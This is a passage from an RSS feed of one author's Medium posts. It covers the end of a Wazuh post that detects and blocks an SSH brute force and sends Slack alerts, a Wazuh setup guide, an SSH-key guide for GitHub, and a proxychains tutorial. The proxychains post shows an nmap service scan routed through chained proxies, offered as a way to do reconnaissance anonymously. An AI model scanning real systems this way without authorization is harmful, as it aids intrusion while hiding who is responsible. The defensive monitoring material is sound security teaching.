the offending host for 3 minutes. If I were to attempt to login within this 3 minute time frame, my connection request would be denied or the connection attempt will hang.</p><p>Let’s try authenticating to the target within the 3 minute timeframe, we will see that the connection has been refused. Pay attention to the video, at the 01:15 mark we can see the message “Host Unblocked by firewall-drop Active Response” in the Description column. After the time limit is over, we are able to authenticate. Although this will fail since <em>RedBeardDan </em>is a non-existent user on the Ubuntu machine. This can be seen in the below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dlvoq6VCFC-t0Q4J2tHSTA.png" /><figcaption>First SSH connection attempt while blocked, request hung so I stopped it. After 3 minutes I was able to make a successfull request attempt.</figcaption></figure><h4>Active Response</h4><p>How did Wazuh know to drop the packet for this attack? Because we have active response rule configured within the Wazuh Manager’s configuration. Any traffic that triggers on rule ID 5710 will be instructed to drop the packets, with a timeout of 180 seconds. You may choose to set this timeout period for however long or short you deem appropriate.</p><p>To view/make changes to the Manager’s configuration select the drop down arrow next to “Wazuh” then Management -&gt; Configuration -&gt; Edit Configuration and search for “5710”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H9vvBw5RaZY3Yomfh_BGVA.png" /><figcaption>When making changes to the Manager configuration, be sure to hit “Save” and “Restart Manager”</figcaption></figure><p>To view the rule 5710 itself go to Management again and select “Rules”. Type 5710 into the filter bar and select the xml file associated with the rule ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L9FQfm-_cipo5J1rLA38lA.png" /></figure><p>What are the contents of this rule?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nbAODQI2gL82sIunh37Tug.png" /><figcaption>Among other things, the rule is set to trigger when an illegal user or invalid user attempts to login in</figcaption></figure><p>We can see the description message we get when the rule is triggered, the MiTRE Technique ID’s associated as well as the security frameworks that have covered this topic/activity.</p><h4>Slack Alerts</h4><p>There will be times you’re away from your team and will still need to be updated on what is going in your environment. Thankfully, Wazuh allows for both email and slack alerts/notifications to be sent to your device when a rule is triggered. This way you can keep abreast of the ongoings of your organization’s defenses.</p><p>In the Wazuh documentation you’ll find the instructs to integrate Wazuh alerts into slack. You can find them <a href="https://documentation.wazuh.com/current/user-manual/manager/manual-integration.html#slack">here</a>. It will also have a link to the api slack web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2PNJzIB-8mr1HBOaYnQmFQ.png" /><figcaption>Click on the “Create an App” button</figcaption></figure><p>To configure the integrations, via the command line, in the Manager, edit the ossec.conf file in /var/ossec/etc/ossec.conf as depicted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*moXSRK-S2QGZDDyP_3MxtQ.png" /></figure><p>Now if you’re doing it from the GUI go to Management -&gt; Configuration -&gt; Edit Configuration and copy the highlighted block, replacing the value in &lt;hook_url&gt;&lt;/hook_url&gt; with your own webhook. Take a look at the rule id. This is how Wazuh is going to know what rule to trigger for the alert! Save and restart the manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k3wNlaHkDNbdGIp13OGQtA.png" /></figure><p>Fire off the hydra brute force attack once more and…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jDw3vamuF3DoO_TMA_X6Tg.png" /></figure><p>…we got the alert!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FytEOZ0rOZvC0RWE2cIH3A.png" /></figure><p>Let’s take a look at the details of the alert:</p><ul><li>Method of attack: ssh, along with the non-existent user RedBeardDan and the source IP address</li><li>The agent being targeted: Ubuntu</li><li>And the rule id: 5710</li></ul><h3>Conclusion</h3><p>We’ve demonstrated how to carry out a brute force attack, active response, rule IDs and configuring alerts for Slack notifications! In <a href="https://medium.com/@DatBoyBlu3/blue-teaming-with-wazuh-pt-3-detecing-and-removing-thrvirustotal-integration-e0046c93bc28">part 3</a>, I cover integrating Virus Total to remove malicious files! Check it out!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8a7be995480" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/introduction-to-wazuh-part-2-attacks-defenses-e8a7be995480">Blue Teaming with Wazuh Part 2: Attacks &amp; Alerts</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blue Teaming with Wazuh The Open Source Security Platform: Part 1]]></title>
            <link>https://medium.com/@DatBoyBlu3/introduction-to-wazuh-the-open-source-security-platform-part-1-643a9838b5d4?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/643a9838b5d4</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Wed, 09 Aug 2023 11:26:50 GMT</pubDate>
            <atom:updated>2023-11-24T21:10:29.134Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*4YRxrMRx3a7CXHiyaLcd7A.jpeg" /></figure><p>What’s going on everyone! Hope you all have been enjoying the Summer soaking in all those good vibes, getting outside and a enjoying a lil’ drinky drink! Today we will be discussing Wazuh, how to install it and how it can be used to monitor your on prem and/or virtual devices!</p><h3>What is Wazuh?</h3><p>Wazuh is an open sourced security operation center solution that can be deployed on prem and/or in the cloud to monitor activity on all your workstations. It does so by installing agents on your systems and then ingests event logs via operating as a SIEM (Security Incident Event Manager), create alerts and build detections against adversarial network/system traffic. Here is the <a href="https://documentation.wazuh.com/current/installation-guide/index.html">installation guide</a>. Also, <a href="https://www.linode.com/lp/youtube-viewers/?ifso=networkchuck&amp;utm_source=influencer&amp;utm_medium=video&amp;utm_campaign=networkchuck">Network Chuck has $100, 60 day credit for using his link to register with Linode</a>.</p><p>Today, we will be installing Wazuh in the cloud via the Linode platform and deploying the agents to Kali, CentOS and Ubuntu machines, so please ensure that you use the link to get $100 usage for two months! With that amount you might as well go with a semi-decent amount of RAM!</p><h4>Hardware Requirements</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*P_aSXfcPlyfoA0_ng91E2g.png" /><figcaption>Tailor to your needs!</figcaption></figure><h4>Wazuh Setup</h4><p>In the left pane, select the Marketplace at the bottom, search for “Wazuh” and fill in the following info:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVoiwitf6ieeSkecGV1QzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TGDAyBX2oJAbn7plnrt3Ug.png" /></figure><ol><li>Email address</li><li>limited sudo user</li><li>password for the limited user</li><li>Public SSH key to be used</li><li>And whether or not to allow root access over SSH</li></ol><p>The API token, domain and sub-domain items are optional.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZDrh8zkxGbuglgHwvW3Fw.png" /></figure><ol><li>Select the image you would like to use, I just chose Ubuntu 22.04 LTS</li><li>Select your region, be sure to select the region closes to you! I’m in the DMV so I chose Washington, DC</li><li>For your Linode Plan, remember you have a $100 credit, if you <a href="https://www.linode.com/lp/youtube-viewers/?ifso=networkchuck&amp;utm_source=influencer&amp;utm_medium=video&amp;utm_campaign=networkchuck"><strong>selected the link</strong></a>, so choose the plan that will give you the best bang for your buck!</li><li>Paste in your public SSH key. If you don’t know how to do that, <a href="https://medium.com/@DatBoyBlu3/ssh-connecting-to-github-ff046ee4d568">check out my guide on creating your SSH keys and remediating common issues</a>.</li></ol><p>Once you’ve selected your specs, you will be brought to the following screen. Here you will be given all the info to log into your machine. It may take a few minutes for your machine to finish provisioning, when it does it should say “Running” with the green circle in the upper left corner as depicted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yLwDNNxYPFrlcNb6U5Hhrw.png" /></figure><p>Use either SSH or the “Launch LISH Console” button to log in. Wuzah may not be done installing so type htop to view the processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AlP5vYf3b6izoIbRSMw2zw.png" /></figure><p>After about 5 minutes it should be done. Now it’s time to grab your passwords, issues ls -la to view the file “.deployment-secrets.txt” this text file will contain all the passwords you need for your project.</p><h4>Logging into Wazuh home page</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4BL6VxK2Sg-ICi5c0LCnA.png" /></figure><p>We’re going to use the admin credentials to log into the Wazuh homepage. First navigate to your summary page and select “Network” from the row of options. Then look for “Reverse DNS” , copy this address and paste it into your browser. Reference the below picture for guidance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-iPxyk0adNi1c1w0J_4sQ.png" /></figure><h4>Homepage</h4><p>After you log on, you will be brought to this page. I enabled dark mode on my dashboard, and I know a lot of you will want to do the same: select the “hamburger” icon in the upper left corner, near the home page button. Scroll down to Management, then select Stack Management -&gt; Advanced Settings. In the search bar, type “Dark” and the option will appear. Simply toggle the selection to the right to enable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7q3QLnQEql5lZAdNeWI6ww.png" /></figure><p>While there are many things to explore right out of the box, it would be best to install agents so we can syphon traffic into Wazuh. Doing so will add further context and help build the “story” when looking at suspect events and systems.</p><h3>Installing Agents</h3><p>So what are agents? At a high level, agents are small programs that are deployed to a number of endpoints to execute/perform a function such as gathering logs, beaconing back to the server and/or establishing a foothold. The last two examples I gave are a typical actions of a Red Team or a Advanced Persistent Threat group (APT) such as APT29, learn more <a href="https://attack.mitre.org/groups/G0016/">here!</a></p><p>For our purposes, blue teaming (defense), we want to send logs of our machines to our SIEM so that we can monitor, alert and build detections against adversarial activity. We will install agents on Kali Linux, Ubuntu and CentOS. I’m sure you can see where this is going; we will use Kali to attack the other two and observe the logs captured by Wazuh!</p><p>The process is nearly the same for all Linux machines, barring the type of package you want to download. From the homepage, select “Add agent”. It should be highlighted in a brownish, yellow tint with the following warning message, “No agents were added to the manager”.</p><p>Sometimes you may be taken to the page directly below. Other times you will be taken to the “Deploy New Agent” page, like so. I don’t know why this happens but I figured to point it out. On the second depiction, click the show more dropdown to reveal for operating system distributions. When you select your operating system, you will then choose the version and architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mr0g9lVsBp_rsMek1mSmgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zNhhPvDVgkmE4AzVMrUOlw.png" /><figcaption>Wazuh server address will be the FQDN specified under “Reverse DNS</figcaption></figure><p>If you need to restart the agent deployment process and remove the agent you just deployed, take a look at the following <a href="https://documentation.wazuh.com/4.4/user-manual/agents/remove-agents/remove.html">Wuzah guide</a>.</p><p>Verify the agent was successfully deployed. At the top, select the down arrow dropdown between “Wazuh” and “Modules”, select agents. And our Kali agent deployment was successful!</p><h4>Kali Agent</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GZs0jM0GRVtALJkFBSBTCQ.png" /></figure><p>In the Agents pane, go to Actions. The eye icon is “Open summary panel for this agent” and the wrench icon is “Open configuration for this agent”, these two options will give us a better understanding of our agent.</p><p>For the summary panel, we can see what Wazuh provides right out of the box such as MITRE attack techniques, compliances and much more!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZMHBRImL7LUyF7syNgpvQQ.png" /><figcaption>It even links to the specific MITRE attack details!</figcaption></figure><p>The configuration icon presents options to modify audit and policy monitoring and log data analysis configurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iX5Cg8INqtnCP64IUjA_yg.png" /></figure><p>Scroll down to “Log data analysis”. Here you can see exactly what logs are being collected and monitored by Wazuh. You can also view these logs in JSON or XML, whichever you prefer!</p><p>Now install the agent on CentOS and Ubuntu. One thing to note, in order for Wazuh to detect and report vulnerabilities you must enable the action in the Manager’s configuration. Go to Management -&gt; Configuration -&gt; Edit Configuration. Search for “vulnerability detector” and set enable to yes as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDugBBKK467uIdy2GR3Hlg.png" /><figcaption>Ensure to save and restart the manager to update your config changes</figcaption></figure><p>I added a Suricata machine on Ubuntu a few days later to this. <a href="https://medium.com/u/50bbce288443">Hacker Sploit</a> did an awesome YouTube demo about <a href="https://www.youtube.com/watch?v=NB_u9m-MMcY&amp;list=PLkdsQ9lQsqYdGK0tS8sNS967TA0NIQxvh&amp;index=4&amp;ab_channel=HackerSploit">integrating Suricata into Wazuh</a>, check it out and give them a follow!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7T1B5fiYSexvpToDhjffrA.png" /><figcaption>Depicting Kali, Ubuntu, CentOS and Suriata</figcaption></figure><p>In the next part of this series, I will be conducting attacks against Ubuntu, CentOS as well as my Wazuh Manager and detecting the traffic via Suricata. This will give us a good insight into Wazuh’s capabilities and help us build detections. In <a href="https://medium.com/@DatBoyBlu3/introduction-to-wazuh-part-2-attacks-defenses-e8a7be995480">part 2</a> we carry out brute force attacks and create custom alerts for Slack notifications!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=643a9838b5d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSH: Connecting to GitHub]]></title>
            <link>https://medium.com/@DatBoyBlu3/ssh-connecting-to-github-ff046ee4d568?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff046ee4d568</guid>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Wed, 09 Aug 2023 11:15:08 GMT</pubDate>
            <atom:updated>2023-08-14T01:11:52.064Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*83MDjabqSE5kUywpiiICAg.png" /><figcaption>Photo credit: <a href="https://atulhost.com/how-to-connect-to-an-ssh-server">https://atulhost.com/how-to-connect-to-an-ssh-server</a></figcaption></figure><p>Hello everyone! Today we will be talking about using SSH to interact with your GitHub projects from the command line. The following will be our goals for today:</p><ul><li>What are SSH keys</li><li>Prepping your local machine to interact with Git/GitHub</li><li>Creating SSH keys with a password</li><li>Sharing SSH public key on GitHub</li><li>Testing SSH connection to GitHub</li><li>Cloning your GitHub repository to your local machine</li><li>Remediating Potential Issues</li></ul><h4>What are SSH Keys?</h4><p>SSH keys are a mechanism to authenticate to a remote server/workstation and communicate over an encrypted channel on port 22. It’s largely used for remote administration, transferring files etc. They come in a pair, Private Key and a Public Key. The public key will have the extension .pub. The public key is what you will share with the server you want to connect to, in this case, GitHub. The private key you must <strong>NEVER </strong>share, else you will let others have unfettered access to your private files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*ZddyFqa2kAJrTCvc7cmY3A.jpeg" /></figure><h4>Prepping your local machine to interact with Git/GitHub</h4><p>Firstly you must be familiar with some git commands in order to proceed. If you are not, check out this awesome tutorial written by <a href="https://medium.com/u/e2af5c8737ec">George Seif</a>. Sometimes I forget a number of commands and I always reference his post to re-acquaint myself with a number of them: <a href="https://medium.com/@george.seif94/a-full-tutorial-on-how-to-use-github-88466bac7d42">A full tutorial on how to use GitHub</a></p><h4>Creating SSH Keys</h4><p>Before you clone your remote repository to your local repository, we must first create the ssh key pair. I don’t want to beat a dead horse, but I must emphasize — if you are not familiar with the git environment, please reference the article linked in the previous paragraph.</p><p>Ensure that your ~/.ssh directory is present, if not, create it. And then move to that directory. I have demonstrated both on one line below.</p><pre>sudo mkdir ~/.ssh; cd ~/.ssh</pre><p>Create two files in this directory — known_hosts and config files, we will need these later.</p><p>Now generate your ssh key pair, name it and give it a password. I will be using RSA as the encryption method. It will then ask you to name the key by asking “Enter file in which to save the key”. Leaving it blank, the names will default to id_rsa for the private key and id_rsa.pub for the public key. In the example, I used “dans-macbook”, change to reflect your name.</p><pre>ssh-keygen -t RSA -C &quot;dans-macbook&quot;</pre><p>It will then ask you to set a password for the keys. Leave it blank to not set a password, but I highly recommend you do. Now list the contents of the directory. You should see two keys: dans-macbook and dans-macbook.pub. Picture below for reference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GBe2ioBTueeCMnj1M9Ffig.png" /><figcaption>Pictured here are the ssh keys I generated</figcaption></figure><h4>SSH Config File</h4><p>Because we used a custom name, dans-macbook, we must specify the name change in the config file. Open the config file with your editor of choice and input the following line, specifying your private key:</p><pre>IdentityFile ~/.ssh/dans-macbook</pre><h4>Share Public Key with GitHub</h4><p>To share your public key with GitHub, log on to your GitHub account and go to Settings -&gt; SSH and GPG Keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R5WjXm3BR-e7Gw6vXStnJw.png" /></figure><p>Select New SSH key. Fill in the details for your public key. Give it the same name as your public key for consistency, leave the default authentication key and paste in the contents of your public key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRgIkyZnZ8PsZC0nBtE6KQ.png" /></figure><p>Now it’s time to test your SSH connection to GitHub! In the terminal type the following:</p><pre>ssh -T git@github.com</pre><p>If you received the below message, congrats you’ve successfully configured your SSH keys with GitHub! Else, remove the keys you created, remove the private key from the config file and follow through the steps once more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NDZ2TkviQLNxE1eokkO8g.png" /></figure><h4>Cloning Your Repository</h4><p>With those pre-requisites out of the way, we can now proceed to clone our projects GitHub repo into the directory you initialized earlier with git init.</p><p>Head to your project’s GitHub page.</p><ol><li>Select the Code, green button</li><li>Ensure to select SSH, not HTTPS!! It will not work otherwise!</li><li>Copy the SSH address</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXu8n_y3UbrRAxalpB0-yg.png" /></figure><p>Back in your terminal issue the following command and paste in your projects SSH address you just copied.</p><pre>git clone git@github.com:datboyblu3/Purple-Team-Project.git</pre><p>You should have output similar to the below, if so congrats you are now ready to officially begin working on your project!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P3yxS4_pTwLyEImZLUSijQ.png" /></figure><h4><strong>Remediating Potential Issues</strong></h4><p>If you’ve received the following error message….”Error: Permission denied (publickey)”, the server is rejecting your connection. There could be a few reasons why.</p><ol><li><strong>Verify you’re connecting to the correct server</strong></li></ol><pre>ssh -vT git@github</pre><p>Here we are connecting again but requesting more verbosity. The results are as follows:</p><pre>&gt; OpenSSH_8.1p1, LibreSSL 2.7.3<br>&gt; debug1: Reading configuration data /Users/YOU/.ssh/config<br>&gt; debug1: Reading configuration data /etc/ssh/ssh_config<br>&gt; debug1: /etc/ssh/ssh_config line 47: Applying options for *<br>&gt; debug1: Connecting to github.com port 22.</pre><p>2.<strong> Ensure your SSH keys are being used.</strong></p><pre># start the ssh-agent in the background<br>$ eval &quot;$(ssh-agent -s)&quot;<br>&gt; Agent pid 59566<br>$ ssh-add -l -E sha256<br>&gt; 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)</pre><p>Via GitHub…”Ensure your private key generated and is loaded into SSH. The ssh-add command <em>should</em> print out a long string of numbers and letters. If it does not print anything, you will need to <a href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent">generate a new SSH key</a> and associate it with GitHub”.</p><p>3. <strong>Verify the public key is associated/attached to your account</strong></p><p>Open your terminal and issue the following commands and compare the results of your fingerprint with the public key on your GitHub page:</p><pre>eval &quot;$(ssh-agent -s)&quot;<br>&gt; Agent pid 59566</pre><pre>$ ssh-add -l -E sha256<br>&gt; 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)/id_rsa (RSA)</pre><p>4. <strong>Github permission denied: ssh add agent has no identities</strong></p><p>In summary, when ssh-add-l returns “The agent has no identities”, it means that keys used by ssh (stored in files such as ~/.ssh/ida_rsa etc) are either missing, they are not known to the ssh-agent, which is the authentication agent, or that their permissions are set incorrectly (for example, world writable).</p><p>If your keys are missing or if you have not generated any, use ssh-keygen -t rsa, then ssh-add to add them.</p><p>If keys exist but are not known to ssh-agent (like if they are in a non-standard folder), use ssh-add /path/to/my-non-standard-ssh-folder/id_rsa to add them.</p><p>Thank you for taking the time to read through my article, I hope it was beneficial to you! If you have any questions or comments or need further help, please don’t hesitate to reach out!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff046ee4d568" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shhhhh : Hide Traffic with Proxychains]]></title>
            <link>https://medium.com/@DatBoyBlu3/shhhhh-hide-traffic-with-proxychains-31a7b6ee7799?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/31a7b6ee7799</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[proxy-server]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Sat, 18 Feb 2023 00:39:54 GMT</pubDate>
            <atom:updated>2023-02-18T00:39:54.167Z</atom:updated>
            <content:encoded><![CDATA[<p>So you’ve researched, purchased and installed your firewall, scoured the internet for the most reputable VPN eventually configuring one on your network. However, you’re still concerned about traffic being monitored by some known/unknown entity. Proxychains will help you achieve anonymity, hence strengthening your privacy &amp; security.</p><h3><em>What are Proxies?</em></h3><p>Proxies are servers that act as the middleman for a users traffic. The user will select their proxy and their traffic will be given the IP of the proxy before traversing the internet. The advantage is that traffic to and from the user appears to be originating from the proxy, enhancing your obfuscation! The diagram below helps illustrate the theory behind proxies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*7JIb0caxUaCqkoZTw7cRuw.jpeg" /></figure><p>Today we will be going over proxying by discussing a tool in Kali Linux — proxychains. Proxychains will allow you to perform reconnaissance anonymously.</p><blockquote><em>proxychains nmap -sV -Pn SomeIPAddress</em></blockquote><h4>Proxychain Config File</h4><p>In Kali, open the proxychain config file located at in <strong><em>etc/proxychains.conf </em></strong>and scroll down to line 60. This is where the proxies will be set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gl7q5P33Xr6wO2fvf_lfkQ.png" /></figure><h4>From where to add the proxies?</h4><p>We will be using the free proxy service, <a href="https://hidemy.name/">https://hidemy.name/</a> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7gohatj_gH3gc3mStvXXdQ.png" /><figcaption>Scroll to the bottom of the home page and select Proxy List</figcaption></figure><blockquote>Select your proxy</blockquote><ul><li>Select your country/countries from the drop down</li><li>List your port numbers</li><li>Choose your Proxy type and anonymity level</li></ul><h4>Add a proxy to the config file</h4><p>Choose one of the proxies from the list and input them in the config file via the following format: <strong>type ip port</strong></p><p>By default, proxychains uses the Tor browser through your localhost 127.0.0.1 on port 9050. Comment out this line if you do not want to use Tor as your proxy.</p><p>Now we’re going to use proxychains by browsing to <a href="https://ign.com/">https://ign.com</a>, sending it through the proxy with firefox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Qdz6E2jjPm2rXIbHXRZZg.png" /></figure><p>As shown, we are directed to thehackernews.com. To anyone monitoring my traffic it would appear as if my proxy navigated to thehackernews.com, no my IP address</p><h4>Proxy Options</h4><p>Dynamic Chaining</p><p>By adding more proxies to our list, we can now configure dynamic chaining. This will run our traffic through all the proxy IPs on the list, automatically pivoting to the next proxy if the following IP does not respond. To configure, edit your /etc/proxychains4.conf file and uncomment the <em>dynamic_chain</em> line, it should be line 10.</p><p>Random Chaining</p><p>Random chaining is similar to dynamic chaining in that proxies will be selected from a list but in random order and will still automatically jump to a next proxy if one is down and/or is not responding. The random_chain and chain_len option must be uncommented to enable this feature. chain_len allows you to set the amount of proxies you want to randomize. Comment out dynamic_chain and any other option that was uncommented since only one proxy option can be used at a time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJ8USr9zcxuvAXxI5_q05A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31a7b6ee7799" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>